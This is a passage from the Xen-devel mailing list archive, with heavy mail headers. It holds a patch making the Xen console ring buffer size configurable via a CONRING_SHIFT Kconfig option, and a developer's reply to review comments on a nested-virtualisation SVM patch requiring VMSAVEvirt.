	naVzd4QtzXdROaVeBIw9k15shT0KkdU0AEibPjaejXSyanUExvqN92beiGdyIsoI
	QNdu9lL+b2fQmo/xTH+VSfwBajBUPde8hqijRFWAoTYmpBzqtBqZkMx8YwEc9Qer
	9FnKQxNaM6cxNndrX/PTJHWG4ixyuJOd7Sx/tTN1Qa4BtdxpD5Tkk/BORIJ5F976
	fh7Ch3mPr4hQGPXIlA1fdyVs3b9FptvO4HEawAe4yEw6EN8Bhw2r48Wdnynnxjyj
	Yr4DNX/TZHlHKzlQum2ueO9HdEVcmI/fh3iV0PB5bkaD264/Y9YQjywIKYfh5OA=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: obf1wNtvkqFVlobf1wxghJ
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v8 7/7] xen/console: make console buffer size configurable
Date: Mon, 27 Jul 2026 23:50:49 -0700
Message-ID: <20260728065049.1318143-8-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260728065049.1318143-1-dmukhin@ford.com>
References: <20260728065049.1318143-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 phishscore=0
 lowpriorityscore=0 malwarescore=0 adultscore=0 bulkscore=0 suspectscore=0
 spamscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607280060
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: MWH0EPF000C618B:EE_|SA1PR16MB4780:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: ab4f3fde-9c79-4cc2-ebd8-08deec74aab5
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|36860700016|82310400026|1800799024|10067099003|56012099006|11063799006|18002099003|22082099003|3023799007;
X-Microsoft-Antispam-Message-Info:
	QroDBV09jMKKYyd975hEdp650AHoUhBk8WsHYjdjDmMYv9dFQszJQ5vWhOc3GPLIQVVVk9liLwtIFLk141rFByiE2Oey6Jfad+sjRXjeZRmSCLEMcdB9WIuS/O8fBSOtH/GgPjMe+HobNF4N9OQlEOlD4DSnZk8DV+qycn/eV0agCvN/RSiMal/dBvjrzXv6abkrBhQYCfUN+ldcOsdK1uZz4ZbeU0wGeQH9I4dBHezQm3DiVnrWwyl0WsHacIKI5J+jVbvUdYTSxJpTnBcs1wkxe51M+GRb11nB5uekNim65NkAHT5C572KHA29SxJXeErW9GLdBPltpIyXwPu3B34Iqap8d/Yiqnj5NUTlylu05z3Lcat0w2/w7rmO5y+WARWgzb0CYZui4wELFUjnmCJvnY4HdoV1I9Br70x9W798qEezxe6NijIjiJn0YGKvXY+7/vczAU1R4UzF+uZBvVM0DwQahsDPG51UF3nRokFjAdxCO0S1ZVKqf+3nkV/nFHHfR9LZrpvkgYWiqDKdI6xF+3ShW8QntJ4gfvqCQeeKJNLlK36hjHCPTgBlxTA2aj4MfYlXzj+BxIqStBcvbDlBtLlbAt7hLR9EpJ41lGtJIVpKe/6OGrt3Z59dUMHtOSRy/kmyHbZZQRNMGM/YvXBrAgNM3hCbAdgD5p9JDkn2y0mWzFdnM/LNzafUlIbKpCZwBBQUAs+ENP815SqhCQ==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(376014)(23010399003)(36860700016)(82310400026)(1800799024)(10067099003)(56012099006)(11063799006)(18002099003)(22082099003)(3023799007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	0886ayF4NDr3Otr9OJiOTjT9nX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Qsym/VHUC/rnNQrAqA+DlMbCWFqA8d8i4vy0LYk1qqWpuoMi62pXjkQfd2ZL02gPH2CEbtRLAoP5ODWEX81tWsFwGpEAYznemN7STJwclwWxVxHiTspIFHyLtmOsShyi35AI3nh5gkdD9rm6m1YCiU5GPb7jzvtoS1RQvX2j7jAfJRgf2uwVMMsemwPQcpSdk/icbXszXBjSyUGL1GR1ZFmNEdREJQNRpJdzEinOFuZxkOKWGgkWlJIFoC3/q8RR6Bn4KlEdCllRo+XCfVEM7As8Qt/En0q1FymgGFcE9F54BTPQ8klvrKCDu7nj6/S1caZq4UPIh//rM1+UhWVH8IaFDbfzqj5txJBLdU5p42PtYRfJaenQNdpRK9LAOwaHJcqrgsf7pnhN/sMq91MtGn6M1f5c6IY+PpcScNtqE9fROE5zSyDCTfVp24YwguasDVw0oAfMdKOg==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 06:51:35.4710
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: ab4f3fde-9c79-4cc2-ebd8-08deec74aab5
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	MWH0EPF000C618B.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA1PR16MB4780
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfXyjVxx1fDLe5/
 YGG+Vb80AJCWGY8BCYMflUKyCJrPdSa9lqroNOoCPxQvT0fB2TNsrpTxF6ynkrjZ7pnhUizaIWm
 y1qn5V9Kj6dymCSwEXOGhRt1UWtTcjgtYqkaZRMCWgo2VP+ZFu2s
X-Proofpoint-ORIG-GUID: WMm8tnNNs6d3kX3V7ZaKYIXRNm_wTU-H
X-Authority-Analysis: v=2.4 cv=VeXH+lp9 c=1 sm=1 tr=0 ts=6a68517d cx=c_pps
 a=3ImmgSqUqdqu0AlmHxYeZg==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=WER9OelvoqQQjwJToBYG:22 a=p0WdMEafAAAA:8
 a=cbNQJ9GKAAAA:8 a=h10IGR_9uvuIgT1K_eoA:9 a=DqJYxgmhk6moR-_7_KoZ:22
X-Proofpoint-GUID: WMm8tnNNs6d3kX3V7ZaKYIXRNm_wTU-H
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfX4mYCB70irZtV
 ntnqoLRcb3XYau+3FNJVDSuP/yHCyejuig3zIU/aPh+FeDSMxwn0AOOn7m34YDg4spWVY1lmkbn
 QGK7zjLeSc40tNtwNzVp4fh3ZuDK1VXdbW8PqaF9KiLKocOhwpNvEtK8iV4+cputu1zikkqOz/z
 E2T8NC95rXlUAN3oA/SToiJxOtA6ED0tHMqIe12FIJtI08f4SOmRrt6ApFHOIfS3bscyq41n+tq
 yoMvniWQTmMrOvii1CRw1KHPGudw+D5KqEsdgQogk4y8lwT62YdeYxrNidjaFlt+SFFwI7qzRgL
 SmFW6hGzu41oRB7/xY9OB8bLA+djGALdxeR6W8TPMnFWAbAty1Kdr1kUJ1U8PLVgXa6e864E5mx
 yo+dJNjDfTStL+IaFGiv7nSVtHphRz9EenkgP4IDBhCFPb0FKuIucYHRQItp+qovDFty/48c/vg
 v8S27VVsl2jKWh1Lc5Q==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 adultscore=0 spamscore=0 phishscore=0 lowpriorityscore=0 priorityscore=1501
 clxscore=1015 impostorscore=0 malwarescore=0 bulkscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280060
X-purgate-ID: tlsNG-4011c0/1785221503-51EC2CFC-CCDDD354/0/0
X-purgate-type: clean
X-purgate-size: 3345

From: Denis Mukhin <dmukhin@ford.com> 

Add new CONRING_SHIFT Kconfig parameter to specify the boot console
buffer size as a power of 2.

The supported range is [14..27] -> [16KiB..128MiB].

Set default to 15 (32 KiB).

Update the documentation for 'conring_size=' command line option.

Resolves: https://gitlab.com/xen-project/xen/-/issues/185
Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v7:
- n/a
---
 docs/misc/xen-command-line.pandoc |  8 ++++++--
 xen/drivers/char/Kconfig          | 21 +++++++++++++++++++++
 xen/drivers/char/console.c        |  6 +++---
 3 files changed, 30 insertions(+), 5 deletions(-)

diff --git a/docs/misc/xen-command-line.pandoc b/docs/misc/xen-command-line.pandoc
index 2be8772b329a..448c9bdb8254 100644
--- a/docs/misc/xen-command-line.pandoc
+++ b/docs/misc/xen-command-line.pandoc
@@ -425,10 +425,14 @@ The following are examples of correct specifications:
 ### conring_size
 > `= <size>`
 
-> Default: `conring_size=16k`
-
 Specify the size of the console ring buffer.
 
+The default console ring buffer size is selected at build-time via
+`CONFIG_CONRING_SHIFT` setting.
+
+The run-time console ring buffer size is the maximum of the build-time value
+and the value specified by the `conring_size=` command-line option.
+
 ### console
 > `= List of [ vga | com1[H,L] | com2[H,L] | pv | dbgp | ehci | xhci | none ]`
 
diff --git a/xen/drivers/char/Kconfig b/xen/drivers/char/Kconfig
index 8e49a52c735b..a40a9929132b 100644
--- a/xen/drivers/char/Kconfig
+++ b/xen/drivers/char/Kconfig
@@ -95,6 +95,27 @@ config SERIAL_TX_BUFSIZE
 
 	  Default value is 32768 (32KiB).
 
+config CONRING_SHIFT
+	int "Console ring buffer size (power of 2)"
+	range 14 27
+	default 15
+	help
+	  Select the boot console ring buffer size as a power of 2.
+
+	  The run-time console ring buffer is the maximum of the build-time
+	  value and the value specified by the `conring_size=` command-line
+	  option.
+
+	  If `conring_size=` is not specified on the command line, the run-time
+	  console ring buffer size is the maximum of this value and
+	  `num_present_cpus() << (9 + xenlog_lower_thresh)`.
+
+	    27 => 128 MiB
+	    26 =>  64 MiB
+	    ...
+	    15 =>  32 KiB (default)
+	    14 =>  16 KiB
+
 config XHCI
 	bool "XHCI DbC UART driver"
 	depends on X86
diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index a1b8e5f5b507..76367c1dd705 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -340,12 +340,12 @@ static void cf_check do_dec_thresh(unsigned char key, bool unused)
  * ********************************************************
  */
 
-/* conring_size: allows a larger console ring than default (16kB). */
+/* conring_size: override build-time CONFIG_CONRING_SHIFT setting. */
 static unsigned int __initdata opt_conring_size;
 size_param("conring_size", opt_conring_size);
 
-#define _CONRING_SIZE 16384
-#define CONRING_IDX_MASK(i) ((i)&(conring_size-1))
+#define _CONRING_SIZE       (1U << CONFIG_CONRING_SHIFT)
+#define CONRING_IDX_MASK(i) ((i) & (conring_size - 1))
 static char __initdata _conring[_CONRING_SIZE];
 static char *__ro_after_init conring = _conring;
 static unsigned int __ro_after_init conring_size = _CONRING_SIZE;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 07:15:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 07:15:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372163.1619559 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woc23-0001QC-1E; Tue, 28 Jul 2026 07:15:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372163.1619559; Tue, 28 Jul 2026 07:15:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woc22-0001Q5-UO; Tue, 28 Jul 2026 07:15:18 +0000
Received: by outflank-mailman (input) for mailman id 1372163;
 Tue, 28 Jul 2026 07:15:17 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <stephen.cheng@citrix.com>) id 1woc20-0001Pz-Ta
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 07:15:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woc1z-003gVC-LA
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 09:15:15 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <stephen.cheng@citrix.com>)
 id 6a685700-2eae-0a2a0a5409dd-0a2a4508b3aa-6
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 09:15:15 +0200
Received: from [52.101.57.8]
 (helo=BN8PR05CU002.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <stephen.cheng@citrix.com>)
 id 6a685702-f659-0a2a45080019-34653908cd5d-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 09:15:15 +0200
Received: from CO1PR03MB7889.namprd03.prod.outlook.com (2603:10b6:303:275::14)
 by SJ0PR03MB5727.namprd03.prod.outlook.com (2603:10b6:a03:2af::16)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 07:15:12 +0000
Received: from CO1PR03MB7889.namprd03.prod.outlook.com
 ([fe80::2d02:5605:87a2:6767]) by CO1PR03MB7889.namprd03.prod.outlook.com
 ([fe80::2d02:5605:87a2:6767%5]) with mapi id 15.21.0245.012; Tue, 28 Jul 2026
 07:15:12 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=AgkuIDnF7DANLWTORXLhEZS2PyAD/zxr8ch8Oh/A4gV6q93UR17WnvNsL3iPS3YWjLqtQ0w27K4Qu1P+C30cmL/Zg2ot7Sbpa1rx4awLd9zGQGkBbl/XIH9FK/iAnkWjr2unAhQwXa1oRlLOPytLUfK2CQJrsgfBEfYJLOTpo3IA+hVLP+ed4QoitmP+7qig4MSbkVEB3/RPrUTMj14bMnSQ0wY7pRz8lQrMSbFl7y6CoMv8S2GDw/1O6gNPmeDmEYldXslskax4HLUIbhvvF1SnQ/k5LHWKfDceOmer7COG02HPwpLSOBNGSzd6b3WpXO12qGVUJOOnmNgvF/QcGw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=60Uq/mRUzXsfzG2pkARYh3m3TivgWpO84hW5IQSCk9Q=;
 b=wJ0Tf9yuCE3gHulNT7Oqq4LffDZAt+b+QRymh1TraBLTb/mkwl/Fu/GfRmepvVYKbXI3zc3/yEFuLt8+7ZpZTn4xM9NFgw12UBYloAr5w/Qx4uBg6OVyo0zJXj3voF1BacQq1C2qoVsWd+O6uo2DNW2N+U2mg1LLtwsX+FFav443Ah2a0zpVpFLCdy38VaXv3XJ4PGLbzSHU0nQKRJ8ql16GK5aQfh7cqS3apcIvYZctaglEpfM3mM4zUB6pnMrkhZLbfBuCefRYrb950exU1DnfymRN8LN5McFjNWq/hBD3o8mNFHuShttWCkUmsYQ6FwIf2U8D+B6Iv1NEHULfpQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=60Uq/mRUzXsfzG2pkARYh3m3TivgWpO84hW5IQSCk9Q=;
 b=Uzc4TbXQ0j7mPFX3anGt7Anhb4DGgYAWs4ChxqwWzyk48LSNp9n4ElLSlKL5+zhSxOS+2gsHr+Tk6m7L6QlIyx7UT1HqrNfnZvvIM80Scl/F3S0j39EZtOVaC+QsYLcFPR7WWEdLad1wCLwSdKlOQKAS/Ni4Mtglhi2Xzi6CgdM=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
From: Stephen Cheng <stephen.cheng@citrix.com>
To: ross.lagerwall@citrix.com
Cc: teddy.astie@vates.tech,
	andrew.cooper3@citrix.com,
	anthony.perard@vates.tech,
	jason.andryuk@amd.com,
	jbeulich@suse.com,
	julien@xen.org,
	michal.orzel@amd.com,
	roger@xenproject.org,
	sstabellini@kernel.org,
	xen-devel@lists.xenproject.org
Subject: Re: [PATCH] x86/svm: require VMSAVEvirt for nested virt
Date: Tue, 28 Jul 2026 15:14:46 +0800
Message-ID: <20260728071446.263579-1-stephen.cheng@citrix.com>
X-Mailer: git-send-email 2.49.0
In-Reply-To: <CH8PR03MB8274B8F533EF3D15C94696F8F0CC2@CH8PR03MB8274.namprd03.prod.outlook.com>
References: <CH8PR03MB8274B8F533EF3D15C94696F8F0CC2@CH8PR03MB8274.namprd03.prod.outlook.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: JH0PR01CA0036.apcprd01.prod.exchangelabs.com
 (2603:1096:990:5c::18) To CO1PR03MB7889.namprd03.prod.outlook.com
 (2603:10b6:303:275::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CO1PR03MB7889:EE_|SJ0PR03MB5727:EE_
X-MS-Office365-Filtering-Correlation-Id: b0c8533f-a480-4837-dd8e-08deec77f701
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|1800799024|366016|376014|56012099006|11063799006|10067099003|6133799003|18002099003|3023799007|22082099003;
X-Microsoft-Antispam-Message-Info:
	CVJDnNGv3dSKVlUcLmihTVOTiv3EH59+jJPzlbjLHFK/vdqYgHDrizVamaSldqy91wQ6idvvOeaTLS7E+43Zuv5gkyYhGHvLFlhX1TiXziOQsTx0STsxf/HtBtkimg8bnxAe8SNmW2IfC1wd1jj6LRE8o5uP5nhDIw0k3lkz7ge2ybglB83xGe+ZYwjNf9FH3hpZ4+MwvmJPV4qX9LSKYDjlOqloUFT23aeZi3jR+Iaa/qKubBMi2iy+Kiw6u9srypWc1H8g+ZdNkD9EFrln86sjLmtEsXIxAT5EyS+2Hi3dK0B5CoN6s9VYF9k/uqXUns6Vrr7ou44A15wweii9kFgvmK6UYgomvAx7T71OL60mJNDcvt+Ea3XgfjeggXE74t/BBAmMyTlCBV94kHAE37nptyogVeEkTUQnSyZDBczbQyqkyjIIbbqQx3ltw00qqLm7JkUYn+sC//bAyN69oVlscOx00SOdxAmkN+2kjSicN1ZyDuXDrosbAisjFoOjrflgtoRF8/67X70eVaHfnWTKYU6tqExV6HSpAnXwiTZ7rXRnogXvluRkP/pSD/K6Kkazx0PQ91O8K1y2T9or7N6XjgeumGMmbE8SoPzrQEFI2Ti+DlD7ZTWOrqvrHGp6n3tu5AmL8EJ/ajT3Wg5YHJuyNqCppJH+eF8pMbHZ14A=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CO1PR03MB7889.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(1800799024)(366016)(376014)(56012099006)(11063799006)(10067099003)(6133799003)(18002099003)(3023799007)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?v/ma+3+8+cfXW4ipjqfIgxIvyBiHI/0MwkGYkJVcqjVGrA/y/GxNgMRp288e?=
 =?us-ascii?Q?k3nMqt0DfKz9pOsUxblTVbbNs2jsFtOY80spMkshY0y16ky2v9JtBsMToFuY?=
 =?us-ascii?Q?vpezrZH9g/Fiq4TPXav0cR9q212a+9n7NXV74yMvh5icCBQw/0F8GKI0h0pa?=
 =?us-ascii?Q?FAbig102K08eE0ExdaRzI+OnRzIyYanmZ0scUtztGz+8I/dntBd9wr0Niirp?=
 =?us-ascii?Q?ThZtSurB9MjGC0ARcNJIkbsPsvliVpexubAEEC4ab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=
 =?us-ascii?Q?UIf1+TSRfHUXp6Y5sALIDC8rNBHaOLdfbfyl8xZ7pdiBVk7wh1DgR1fGEBI+?=
 =?us-ascii?Q?d+2ZeMn+bGNRuAiHe+jYeQf7ehpy+07+jyYPzTiSJCTbIxbSv+KXyVrX7z+Y?=
 =?us-ascii?Q?W461sO2plhH48dxZjeEuvJ4+F9My9ItU3fqYSi4WTRuoOKMyDjFi7J69AvDh?=
 =?us-ascii?Q?BP20Vmiwz+ws/YhXQw4tzvYrpRSRA/H/rh6+Wsfw14j8cNRhzlD45eit4k40?=
 =?us-ascii?Q?P5GNHzoQLuJtJj73vUXa4JuzlN9h//JV5/c0uA0w1zDt31iZRasmPAem+kHb?=
 =?us-ascii?Q?sTXOV9B8R1ljgds9jkAhzPhDbBWA+lSwLlIVAbt3SyVdMK3on2TjLrIQ+CL3?=
 =?us-ascii?Q?vxRJcALKETuPOI2SZhPCn6Jis+t4Fh4Q7ZGcbG6ZTxaNMiUEUb2ZNOxB8/sa?=
 =?us-ascii?Q?yyt5uT90XHk+/N4156Uo70dE9ruGGs25sIK4AZGkRDKS1hrq3H6F+KPXUopr?=
 =?us-ascii?Q?V4WVdh1PYh3vnuYeHH+V1qWxX3jTNcbCAC/+9p8ymroBmf3rauQw+kru5inN?=
 =?us-ascii?Q?NgXWsYsaxg4skXmmz37q4vUFKJx2Vm+gyK8XV9Vptn9xMGDUWnZddAbyvMXD?=
 =?us-ascii?Q?fnNyADI5zg=3D=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: b0c8533f-a480-4837-dd8e-08deec77f701
X-MS-Exchange-CrossTenant-AuthSource: CO1PR03MB7889.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 07:15:12.3451
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: mKrq/59A48s2bTF3sMOkdFBOxGsHkWOQQ/x9cHPPipPCVzLIdA5qKjj2OQbCuLwkpe+AXqB9QgpQAP6HMlzQkyylGPexj1d9AwHQyJXVaGM=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR03MB5727
X-purgate-ID: tlsNG-c1860d/1785222915-DFED287B-7768F599/0/0
X-purgate-type: clean
X-purgate-size: 2719

On 27/07/2026 10:50, Ross Lagerwall wrote:
> > @@ -837,7 +837,8 @@ static void __init calculate_hvm_max_policy(void)
> > -                               (1u << SVM_FEATURE_DECODEASSISTS));
> > +                               (1u << SVM_FEATURE_DECODEASSISTS) |
> > +                               (1u << SVM_FEATURE_VLOADSAVE));
>
> Exposing this feature to L1 is separate from requiring it in L0 and IMO should
> be a separate commit. If it's exposed to L1, there is a lot more to think
> about. E.g. whether L2 should follow L1's setting or L0's for vloadsave_enable
> and if it is not enabled what happens if L1 doesn't intercept VMLOAD/VMSAVE.

Agreed.  I'll drop the cpu-policy.c hunk from this patch and do the L1
side as a follow-up.

Worth noting that dropping it only removes the CPUID advertisement, not
the functionality: vmcb02 picks up vloadsave_enable from the virt_ext
merge in nsvm_vmcb_prepare4vmrun() regardless of what we advertise,
which is your third point below.

> Also note we discovered previously that contrary to what the APM documents:
>
> If the VMSAVE/VMLOAD intercept bits are clear, and virtual
> VMLOAD/VMSAVE is not enabled, then a VMSAVE instruction executed in
> guest mode executes as if it were in non-root mode, and operates on host
> physical addresses.

Thanks, I hadn't come across that.  It makes "vloadsave_enable clear
implies the intercepts are set" a hard requirement rather than a
tidiness thing, so I'll treat it as an invariant in the follow-up.

> I think there is also a separate bug that what Xen advertises doesn't
> necessarily control what the guest can use. E.g. previously we didn't advertise
> SVM_FEATURE_VLOADSAVE but Xen would always merge in tthe virt_ext settings from
> VMCB(L1-L2).

Agreed, and it's the same virt_ext merge.  I'll fix it as part of the
follow-up.

> > +        /*
> > +         * VMSAVEvirt is a hard requirement for nested virt (see
> > +         * start_nested_svm()), so it is guaranteed present here.
> > +         */
> > +        ASSERT(cpu_has_svm_vloadsave);
>
> Maybe just personal taste but I think this assert is unnecessary.
> cpu_has_svm_vloadsave is constant since boot and also checked at boot so
> further checks are unnecessary.

I'll drop it.

> >      case VMEXIT_VMLOAD:
> > -        svm_vmexit_do_vmload(vmcb, regs, v, regs->rax);
> > -        break;
> >      case VMEXIT_VMSAVE:
> > -        svm_vmexit_do_vmsave(vmcb, regs, v, regs->rax);
> > +        svm_vmexit_do_vmload_vmsave(v);
> >          break;
>
> I think it would be simpler to just move these case statements up to the
> VMEXIT_RDPRU section.

Will do.

Thanks for the review.

Stephen


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 07:16:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 07:16:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372172.1619569 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woc3d-00022W-Ga; Tue, 28 Jul 2026 07:16:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372172.1619569; Tue, 28 Jul 2026 07:16:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woc3d-00022P-D4; Tue, 28 Jul 2026 07:16:57 +0000
Received: by outflank-mailman (input) for mailman id 1372172;
 Tue, 28 Jul 2026 07:16:56 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <stephen.cheng@citrix.com>) id 1woc3c-00022J-Q4
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 07:16:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woc3c-00AFyG-4p
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 09:16:56 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <stephen.cheng@citrix.com>)
 id 6a68575f-bab6-0a2a0a5309dd-0a2a4505e71e-16
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 09:16:56 +0200
Received: from [40.93.196.56]
 (helo=SA9PR02CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <stephen.cheng@citrix.com>)
 id 6a685765-4cb1-0a2a45050019-285dc4380cb0-4
